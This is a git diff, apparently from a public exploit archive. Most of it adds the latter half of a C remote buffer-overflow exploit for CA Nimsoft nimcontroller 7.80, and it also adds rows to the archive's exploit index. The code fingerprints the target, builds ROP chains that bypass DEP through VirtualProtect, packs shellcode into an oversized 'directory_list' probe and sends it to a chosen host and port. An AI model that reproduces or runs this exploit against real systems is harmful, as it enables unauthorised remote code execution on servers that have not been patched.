(strcmp(needle, (haystack+index)) == 0) + found = 2; + else if (found >= 2) + found++; + if (found == 5) + return &haystack[index]; + index += strlen(haystack+index) + 1; + } + return NULL; +} + +int parse_response(char *response, int length) +{ + int i; + int c; + char *ptr; + int check = 0; + int nv = sizeof(versions)/sizeof(versions[0]); + int ne = sizeof(exploited)/sizeof(exploited[0]); + + if ((ptr = nimdex(response, "os_minor", length)) == NULL) + return -1; + printf("%s Probe successful, detected: %s\n", PI, ptr); + + if ((ptr = nimdex(response, "os_version", length)) == NULL) + return -1; + + for (i = 0; i < ne; i++) + if ((strcmp(exploited[i], ptr)) == 0) + check = 1; + + if (check != 1) + { + printf("%s Exploit has not been tested against OS version\n", PE); + printf("%s Continute exploitation (Y/N): ", PE); + + c = getchar(); + if (tolower(c) != 'y') + exit(-1); + + printf("%s If exploitation successful, update code!!!\n", PI); + if ((ptr = nimdex(response, "os_version", length)) == NULL) + return -1; + printf("%s Target OS ID: %s\n", PI, ptr); + } + else + printf("%s Target OS appears to be exploitable\n", PI); + + check = 0; + + if ((ptr = nimdex(response, "version", length)) == NULL) + return -1; + + for (i = 0; i < nv; i++) + if ((strcmp(versions[i], ptr)) == 0) + check = 1; + + if (check != 1) { + printf("%s Exploit has not been tested against target build\n", PE); + exit(-1); + } else + printf("%s Nimbus build appears to be exploitable\n", PI); + + return 0; +} + +int check_version(char *rhost, int rport) +{ + int c; + int sock; + int count; + NimsoftProbe *probe; + char response[BUFSIZ]; + struct sockaddr_in srv; + char *get_operating_sys[] = { "get_info", "interfaces=0" }; + + probe = packet_gen(get_operating_sys, 2, 0); + + if ((sock = socket(AF_INET, SOCK_STREAM, 0)) < 0) + return -1; + + srv.sin_addr.s_addr = inet_addr(rhost); + srv.sin_port = htons(rport); + srv.sin_family = AF_INET; + + if (connect(sock , (struct sockaddr *)&srv, sizeof(srv)) < 0) + return -1; + + printf("%s Sending get_info probe to %s:%d\n", PI, rhost, rport); + + send(sock, probe->packet, probe->length, 0); + count = read(sock, response, BUFSIZ); + + if ((parse_response(response, count) != 0)) { + printf("%s Probe failed, unable to parse packet\n", PE); + exit(-1); + } + + free(probe); + close(sock); + + return 0; +} + +/***************************************************************************************************************** + * This chain will re-align RSP / Stack, it MUST be a multiple of 16 bytes otherwise our call will fail. * + * I had VP work 50% of the time when the stack was unaligned. * + *****************************************************************************************************************/ +int64_t rsp_alignment_rop_gadgets[] = { + +[0 ... 19] = 0x0000000140018c42, // ret (20 ROP NOPS) + 0x0000000140002ef6, // pop rax ; ret + 0x00000001401a3000, // *ptr to handle reference ( MEM_COMMIT | PAGE_READWRITE | MEM_IMAGE ) + 0x00000001400af237, // pop rdi ; ret + 0x0000000000000007, // alignment for rsp + 0x0000000140025dab, // add esp, edi ; adc byte [rax], al ; add rsp, 0x0000000000000278 ; ret +}; + +/***************************************************************************************************************** + * This chain will craft function calls to GetModuleHandleA, GetProcAddressStub, and finally VirtualProtectStub. * + * Once completed, we have bypassed DEP and can get code execution. Since VirtualProtectStub is auto generated, * + * we needn't worry about other Windows OS's. * + *****************************************************************************************************************/ +int64_t dep_bypass_rop_gadgets[] = { + +// RAX -> HMODULE GetModuleHandleA( +// ( RCX == *module ) LPCSTR lpModuleName, +// ); +[0 ... 14] = 0x0000000140018c42, // ret (15 ROP NOPS) + 0x0000000140002ef6, // pop rax ; ret + 0x0000000000000000, // (zero out rax) + 0x00000001400eade1, // mov eax, esp ; add rsp, 0x30 ; pop r13 ; pop r12 ; pop rbp ; ret + 0x0000000000000000, // + 0x0000000000000000, // + 0x0000000000000000, // + 0x0000000000000000, // + 0x0000000000000000, // + 0x0000000000000000, // +[24 ... 33] = 0x0000000140018c42, // ret (10 ROP NOPS) + 0x0000000140131643, // pop rcx ; ret + 0x00000000000009dd, // offset to "kernel32.dll" + 0x000000014006d8d8, // add rax, rcx ; add rsp, 0x38 ; ret +[37 ... 51] = 0x0000000140018c42, // ret (15 ROP NOPS) + 0x00000001400b741b, // xchg eax, ecx ; ret + 0x0000000140002ef6, // pop rax ; ret + 0x000000014015e310, // GetModuleHandleA (0x00000000014015E330-20) + 0x00000001400d1161, // call qword ptr [rax+20] ; add rsp, 0x40 ; pop rbx ; ret +[56 ... 72] = 0x0000000140018c42, // ret (17 ROP NOPS) + +// RAX -> FARPROC GetProcAddressStub( +// ( RCX == &addr ) HMODULE hModule, +// ( RDX == *module ) lpProcName +// ); + 0x0000000140111c09, // xchg rax, r11 ; or al, 0x00 ; ret (backup &hModule) + 0x0000000140002ef6, // pop rax ; ret + 0x0000000000000000, // (zero out rax) + 0x00000001400eade1, // mov eax, esp ; add rsp, 0x30 ; pop r13 ; pop r12 ; pop rbp ; ret + 0x0000000000000000, // + 0x0000000000000000, // + 0x0000000000000000, // + 0x0000000000000000, // + 0x0000000000000000, // + 0x0000000000000000, // +[83 ... 92] = 0x0000000140018c42, // ret (10 ROP NOPS) + 0x0000000140131643, // pop rcx ; ret + 0x0000000000000812, // offset to "virtualprotectstub" + 0x000000014006d8d8, // add rax, rcx ; add rsp, 0x38 ; ret +[96 ... 110] = 0x0000000140018c42, // ret (15 ROP NOPS) + 0x0000000140135e39, // mov edx,eax ; mov rbx,qword [rsp+0x30] ; mov rbp,qword [rsp+0x38] ; mov rsi,qword [rsp+0x40] ; mov rdi,qword [rsp+0x48] ; mov eax,edx ; add rsp,0x20 ; pop r12; ret +[112 ... 121] = 0x0000000140018c42, // ret (10 ROP NOPS) + 0x00000001400d1ab8, // mov rax, r11 ; add rsp, 0x30 ; pop rdi ; ret +[123 ... 132] = 0x0000000140018c42, // ret (10 ROP NOPS) + 0x0000000140111ca1, // xchg rax, r13 ; or al, 0x00 ; ret + 0x00000001400cf3d5, // mov rcx, r13 ; mov r13, qword [rsp+0x50] ; shr rsi, cl ; mov rax, rsi ; add rsp, 0x20 ; pop rdi ; pop rsi ; pop rbp ; ret + 0x0000000000000000, // + 0x0000000000000000, // + 0x0000000000000000, // +[138 ... 143] = 0x0000000140018c42, // ret + 0x0000000140002ef6, // pop rax ; ret + 0x000000014015e318, // GetProcAddressStub (0x00000000014015e338-20) + 0x00000001400d1161, // call qword ptr [rax+20] ; add rsp, 0x40 ; pop rbx ; ret +[147 ... 163] = 0x0000000140018c42, // ret (17 ROP NOPS) + +// RAX -> BOOL VirtualProtectStub( +// ( RCX == *shellcode ) LPVOID lpAddress, +// ( RDX == len(shellcode) ) SIZE_T dwSize, +// ( R8 == 0x0000000000000040 ) DWORD flNewProtect, +// ( R9 == *writeable location ) PDWORD lpflOldProtect, +// ); + 0x0000000140111c09, // xchg rax, r11 ; or al, 0x00 ; ret (backup *VirtualProtectStub) + 0x000000014013d651, // pop r12 ; ret + 0x00000001401fb000, // *writeable location ( MEM_COMMIT | PAGE_READWRITE | MEM_IMAGE ) + 0x00000001400eba74, // or r9, r12 ; mov rax, r9 ; mov rbx, qword [rsp+0x50] ; mov rbp, qword [rsp+0x58] ; add rsp, 0x20 ; pop r12 ; pop rdi ; pop rsi ; ret +[168 ... 177] = 0x0000000140018c42, // ret (10 ROP NOPS) + 0x0000000140002ef6, // pop rax ; ret + 0x0000000000000000, // + 0x00000001400eade1, // mov eax, esp ; add rsp, 0x30 ; pop r13 ; pop r12 ; pop rbp ; ret + 0x0000000000000000, // + 0x0000000000000000, // + 0x0000000000000000, // + 0x0000000000000000, // + 0x0000000000000000, // + 0x0000000000000000, // +[187 ... 196] = 0x0000000140018c42, // ret (10 ROP NOPS) + 0x0000000140131643, // pop rcx ; ret + 0x000000000000059f, // (offset to *shellcode) + 0x000000014006d8d8, // add rax, rcx ; add rsp, 0x38 ; ret +[200 ... 214] = 0x0000000140018c42, // ret (15 ROP NOPS) + 0x00000001400b741b, // xchg eax, ecx ; ret + 0x00000001400496a2, // pop rdx ; ret + 0x00000000000005dc, // dwSize + 0x00000001400bc39c, // pop r8 ; ret + 0x0000000000000040, // flNewProtect + 0x00000001400c5f8a, // mov rax, r11 ; add rsp, 0x38 ; ret (RESTORE VirtualProtectStub) +[221 ... 237] = 0x0000000140018c42, // ret (17 ROP NOPS) + 0x00000001400a0b55, // call rax ; mov rdp qword ptr [rsp+48h] ; mov rsi, qword ptr [rsp+50h] ; mov rax, rbx ; mov rbx, qword ptr [rsp + 40h] ; add rsp,30h ; pop rdi ; ret +[239 ... 258] = 0x0000000140018c42, // ret (20 ROP NOPS) + 0x0000000140002ef6, // pop rax ; ret (CALL COMPLETE, "JUMP" INTO OUR SHELLCODE) + 0x0000000000000000, // (zero out rax) + 0x00000001400eade1, // mov eax, esp ; add rsp, 0x30 ; pop r13 ; pop r12 ; pop rbp ; ret + 0x0000000000000000, // + 0x0000000000000000, // + 0x0000000000000000, // + 0x0000000000000000, // + 0x0000000000000000, // + 0x0000000000000000, // +[268 ... 277] = 0x0000000140018c42, // ret (10 ROP NOPS) + 0x0000000140131643, // pop rcx ; ret + 0x0000000000000317, // (offset to our shellcode) + 0x000000014006d8d8, // add rax, rcx ; add rsp, 0x38 ; ret +[281 ... 295] = 0x0000000140018c42, // ret (15 ROP NOPS) + 0x00000001400a9747, // jmp rax +[297 ... 316] = 0x0000000140018c42, // ret (do not remove) +}; + +/******************************************************************************************************************** + * * + * int generate_rop_chain(unsigned char *buffer, int gadgets, int64_t rop_gadgets[]): * + * * + * This function will generate a rop chain and store it in the buffer passed as the first argument. The return * + * value will contain the final ROP chain size. * + * * + ********************************************************************************************************************/ + +#define RSP_ROP (sizeof(rsp_alignment_rop_gadgets)/sizeof(int64_t)) +#define DEP_ROP (sizeof(dep_bypass_rop_gadgets) / sizeof(int64_t)) + +int generate_rop_chain(unsigned char *buffer, int gadgets, int64_t rop_gadgets[]) +{ + int i, j, k; + int chain_size = 0; + + for (i = 0; i < gadgets; i++) + for (j = 0, k = 0; j < sizeof(rop_gadgets[i]); j++) + { + *buffer++ = ((rop_gadgets[i]>>k)&0xff); + chain_size++; + k += 8; + } + + return chain_size; +} + +#define MAX_EXPLOIT_BUFFER 9000 + +unsigned char *generate_exploit_buffer(unsigned char *buffer) +{ + int r1, r2, c; + char rop_chain[20000]; + unsigned char *heapflip = "\x3d\xfd\x06\x40\x01\x00\x00\x00"; + + memset(buffer , 0x41, 1000); // Offset + memset(buffer+1000, 0x0F, 33); + memcpy(buffer+1033, heapflip, 8); // HeapFlip - pop rsp ; or al, 0x00 ; add rsp, 0x0000000000000448 ; ret + memset(buffer+1041, 0x41, 7); // Adjustment for the initial chain + + /* generate the first rop chain to perform stack alignment */ + r1 = generate_rop_chain(rop_chain, RSP_ROP, rsp_alignment_rop_gadgets); + memcpy(buffer+1048, rop_chain, r1); + c = r1 + 1048; + + /* adjust for second stage */ + memset(buffer+c, 0x57, 631); + c += 631; + + /* generate the second rop chain to perform DEP bypass */ + r2 = generate_rop_chain(rop_chain, DEP_ROP, dep_bypass_rop_gadgets); + memcpy(buffer+c, rop_chain, r2); + c += r2; + + /* ROP CHAIN MUST BE 3500 BYTES OR EXPLOITATION WILL FAIL */ + memset(buffer+c, 0x45, (3500 - (r1 + r2 + 631))); + c += (3500 - (r1 + r2 + 631)); + + memcpy(buffer+c, "kernel32.dll\x00", 13); + c += 13; + + memcpy(buffer+c, "VirtualProtect\x00", 15); + c += 15; + + /* NOPS */ + memset(buffer+c, 0x90, 500); + c += 500; + + /* shellcode */ + memcpy(buffer+c, shellcode, (sizeof(shellcode)-1)); + c += (sizeof(shellcode)-1); + + /* filler */ + memset(buffer+c, 0x10, (8000 - c)); + + return buffer; +} + +#define MAX_ARGUMENTS 5 + +void help() +{ + printf("usage: ./singAboutMeImDyingOfThirst [-h] [-t TARGET] [-p PORT] [ARG=VAL]\n\n"); + printf("Sing About Me Im Dying Of Thirst - A nimcontroller's worst nightmare\n\n"); + printf("optional arguments:\n"); + printf(" -h, --help show this help message and exit\n"); + printf(" -t TARGET, --target TARGET target host to probe\n"); + printf(" -p PORT, --port PORT nimcontroller port\n\n"); + printf("examples:\n"); + printf(" ./singAboutMeImDyingOfThirst -t 192.168.88.130 -p 48000\n"); + exit(0); +} + +int main(int argc, char **argv) +{ + int c; + int sock; + int rport; + NimsoftProbe *probe; + struct sockaddr_in srv; + char *rhost, *port; + char *params[MAX_ARGUMENTS]; + unsigned char *exploit_buff; + unsigned char buffer[MAX_EXPLOIT_BUFFER]; + unsigned char final_buffer[MAX_EXPLOIT_BUFFER] = "directory="; + + char *exploit[] = { "directory_list", final_buffer }; + + while (1) + { + static struct option long_options[] = + { + {"help", no_argument, 0, 'h'}, + {"target", required_argument, 0, 't'}, + {"port", required_argument, 0, 'p'}, + {0, 0, 0} + }; + + int option_index = 0; + + c = getopt_long (argc, argv, "ht:p:", long_options, &option_index); + + if (c == -1) + break; + + switch(c) + { + case 't': + rhost = optarg; + break; + case 'p': + port = optarg; + break; + case 'h': + default: + help(); + break; + } + } + + if (argc < 5) + help(); + + rport = atoi(port); + + if (check_version(rhost, rport) != 0) { + printf("%s Failed to connect to target host\n", PE); + exit(-1); + } + + if (check_vulnerability(rhost, rport) != 0) { + printf("%s Target failed vulnerability tests\n", PE); + exit(-1); + } + + printf("%s Generating evil nimbus probe, we're watching\n", PI); + exploit_buff = generate_exploit_buffer(buffer); + memcpy(final_buffer+10, exploit_buff, 8000); + probe = packet_gen(exploit, 2, 8000); + + printf("%s Sending evil buffer, R.I.P RIP - wetw0rk\n", PG); + + if ((sock = socket(AF_INET, SOCK_STREAM, 0)) < 0) + return -1; + + srv.sin_addr.s_addr = inet_addr(rhost); + srv.sin_port = htons(rport); + srv.sin_family = AF_INET; + + if (connect(sock , (struct sockaddr *)&srv, sizeof(srv)) < 0) + return -1; + + send(sock, probe->packet, probe->length, 0); + + free(probe); + close(sock); +} \ No newline at end of file diff --git a/files_exploits.csv b/files_exploits.csv index 974489041..b2ea65a1a 100644 --- a/files_exploits.csv +++ b/files_exploits.csv @@ -10978,6 +10978,8 @@ id,file,description,date,author,type,platform,port 48087,exploits/windows/local/48087.py,"Cuckoo Clock v5.0 - Buffer Overflow",2020-02-17,boku,local,windows, 48129,exploits/android/local/48129.rb,"Android Binder - Use-After-Free (Metasploit)",2020-02-24,Metasploit,local,android, 48131,exploits/linux/local/48131.rb,"Diamorphine Rootkit - Signal Privilege Escalation (Metasploit)",2020-02-24,Metasploit,local,linux, +48148,exploits/windows/local/48148.py,"Cyberoam Authentication Client 2.1.2.7 - Buffer Overflow (SEH)",2020-03-02,"Andrey Stoykov",local,windows, +48160,exploits/windows/local/48160.py,"Wing FTP Server 6.2.3 - Privilege Escalation",2020-03-02,"Cary Hooper",local,windows, 1,exploits/windows/remote/1.c,"Microsoft IIS - WebDAV 'ntdll.dll' Remote Overflow",2003-03-23,kralor,remote,windows,80 2,exploits/windows/remote/2.c,"Microsoft IIS 5.0 - WebDAV Remote",2003-03-24,RoMaNSoFt,remote,windows,80 5,exploits/windows/remote/5.c,"Microsoft Windows 2000/NT 4 - RPC Locator Service Remote Overflow",2003-04-03,"Marcin Wolak",remote,windows,139 @@ -18018,6 +18020,8 @@ id,file,description,date,author,type,platform,port 48130,exploits/linux/remote/48130.rb,"Apache James Server 2.3.2 - Insecure User Creation Arbitrary File Write (Metasploit)",2020-02-24,Metasploit,remote,linux, 48139,exploits/linux/remote/48139.c,"OpenSMTPD 6.6.3 - Arbitrary File Read",2020-02-26,"Qualys Corporation",remote,linux, 48140,exploits/openbsd/remote/48140.c,"OpenSMTPD < 6.6.3p1 - Local Privilege Escalation + Remote Code Execution",2020-02-26,"Qualys Corporation",remote,openbsd, +48153,exploits/windows/remote/48153.py,"Microsoft Exchange 2019 15.2.221.12 - Authenticated Remote Code Execution",2020-03-02,Photubias,remote,windows, +48156,exploits/windows/remote/48156.c,"CA Unified Infrastructure Management Nimsoft 7.80 - Remote Buffer Overflow",2020-03-02,wetw0rk,remote,windows, 6,exploits/php/webapps/6.php,"WordPress 2.0.2 - 'cache' Remote Shell Injection",2006-05-25,rgod,webapps,php, 44,exploits/php/webapps/44.pl,"phpBB 2.0.5 - SQL Injection Password Disclosure",2003-06-20,"Rick Patel",webapps,php, 47,exploits/php/webapps/47.c,"phpBB 2.0.4 - PHP Remote File Inclusion",2003-06-30,Spoofed,webapps,php, @@ -42415,3 +42419,11 @@ id,file,description,date,author,type,platform,port 48144,exploits/multiple/webapps/48144.py,"Cacti 1.2.8 - Authenticated Remote Code Execution",2020-02-03,Askar,webapps,multiple, 48145,exploits/multiple/webapps/48145.py,"Cacti 1.2.8 - Unauthenticated Remote Code Execution",2020-02-03,Askar,webapps,multiple, 48146,exploits/multiple/webapps/48146.py,"qdPM < 9.1 - Remote Code Execution",2020-02-28,"Tobin Shields",webapps,multiple, +48147,exploits/multiple/webapps/48147.txt,"Joplin Desktop 1.0.184 - Cross-Site Scripting",2020-03-02,"Javier Olmedo",webapps,multiple, +48149,exploits/hardware/webapps/48149.py,"Netis WF2419 2.2.36123 - Remote Code Execution",2020-03-02,"Elias Issa",webapps,hardware, +48151,exploits/php/webapps/48151.txt,"Wordpress Plugin Tutor LMS 1.5.3 - Cross-Site Request Forgery (Add User)",2020-03-02,"Jinson Varghese Behanan",webapps,php, +48152,exploits/hardware/webapps/48152.txt,"TL-WR849N 0.9.1 4.16 - Authentication Bypass (Upload Firmware)",2020-03-02,"Elber Tavares",webapps,hardware, +48154,exploits/multiple/webapps/48154.sh,"Wing FTP Server 6.2.5 - Privilege Escalation",2020-03-02,"Cary Hooper",webapps,multiple, +48155,exploits/hardware/webapps/48155.py,"TP LINK TL-WR849N - Remote Code Execution",2020-03-02,"Elber Tavares",webapps,hardware, +48158,exploits/hardware/webapps/48158.txt,"Intelbras Wireless N 150Mbps WRN240 - Authentication Bypass (Config Upload)",2020-03-02,"Elber Tavares",webapps,hardware, +48159,exploits/php/webapps/48159.rb,"Cacti v1.2.8 - Unauthenticated Remote Code Execution (Metasploit)",2020-03-02,"Lucas Amorim",webapps,php,